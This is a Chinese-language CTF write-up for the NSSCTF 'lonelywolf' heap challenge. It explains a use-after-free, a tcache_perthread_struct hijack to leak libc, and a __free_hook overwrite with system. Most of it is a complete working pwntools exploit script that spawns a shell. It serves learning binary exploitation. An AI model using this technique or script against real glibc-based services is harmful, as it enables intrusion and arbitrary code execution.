前言
每日一Pwn做到了这个题,又学到了新东西,主要是对于tcache_perthread_struct的攻击。
https://www.nssctf.cn/problem/856
题目分析
glibc2.27-1.4(????)
alloc函数只能分配小于0x78大小的堆块,并且存储堆块指针的全局变量只有一个,多次alloc就会把之前的指针覆盖掉。
delete函数可以任意的uaf。
tcache_perthread_struct
typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;
# define TCACHE_MAX_BINS
|
简单来说,会有一串单字节数组表示对应的tcache已经放了多少个,之后的就是各个tcache的表头了,我们如果能申请堆块到这个地方,从而修改tcache表头,我们就可以实现任意地址申请(即使申请到的堆块实际大小超出这个tcache的大小也没关系,tcache不检查)
思路
由于alloc函数不能分配smallbin大小的堆块,也就是说不能依靠先申请一个smallbin大小的堆块然后释放掉从而泄漏libc指针了。
但是有uaf漏洞,我们可以向任意地址申请堆块。
我的思路就是这个样子,首先泄漏一下heap_base,这个非常简单,之后我们申请两次堆块,并在这两个堆块上面伪造堆块,最终实现的效果就是,在两个堆块中有一个大小在0xa0的堆块,并且后面还有一个小堆块防止合并。
然后在第二个堆块的fd位置写入tcache_perthread_struct,从而申请到这个结构里,然后修改tcache表头成我们伪造的堆块,这样我们再申请就能申请到我们伪造的堆块,而且因为这个堆块的size是0xa0,再连续释放8次就可以让这个堆块的fd指针指向unsortedbin,从而泄漏libc。
最后就是打free_hook修改为system,然后getshell。
exp
from pwncli import *
context(log_level='debug', arch='amd64', os='linux') context.terminal = ["tmux", "splitw", "-h"] uu64 = lambda x: u64(x.ljust(8, b'\x00')) s = lambda x: p.send(x) sa = lambda x, y: p.sendafter(x, y) sl = lambda x: p.sendline(x) sla = lambda x, y: p.sendlineafter(x, y) ru = lambda x: p.recvuntil(x) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def dbg(): gdb.attach(p,'b* $rebase(0x908)') def pp64(*args): payload=b'' for i, arg in enumerate(args): payload+=p64(arg) return payload def cmd(c): sla('Your choice: ',str(c)) def malloc(size): cmd(1) sla("Index: ",str(0)) sla('Size: ',str(size)) def edit(content): cmd(2) sla("Index: ",str(0)) sla('Content: ',content) def show(): cmd(3) sla("Index: ",str(0)) def delete(): cmd(4) sla("Index: ",str(0))
p=process('./lonelywolf')
libc=ELF('/ctf/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6') malloc(0x78) delete() show() edit(pp64(0,0)) delete() show() ru("Content: ") heap_base=uu64(p.recv(6))-0x260 leak('heap_base',heap_base)
malloc(0x60) edit(pp64(0,0xa1)) malloc(0x50) delete() edit(pp64(heap_base+0x70,0,0,0,0,0,0,0x21))
fake_chunk=heap_base+0x2f0 malloc(0x50) malloc(0x50) edit(p64(fake_chunk)) malloc(0x50) delete()
for i in range(6): edit(pp64(0,0)) delete()
edit(pp64(0,0))
delete()
show() ru("Content: ") libc_base=uu64(p.recv(6))-0x7e72bdbebca0+0x7e72bd800000 leak('libc_base',libc_base)
free_hook=libc_base+libc.sym['__free_hook'] system=libc_base+libc.sym['system']
malloc(0x60) delete() edit(p64(free_hook)) malloc(0x60) malloc(0x60) edit(p64(system)) malloc(0x60) edit(b'/bin/sh\x00') delete() ti()
|
画图
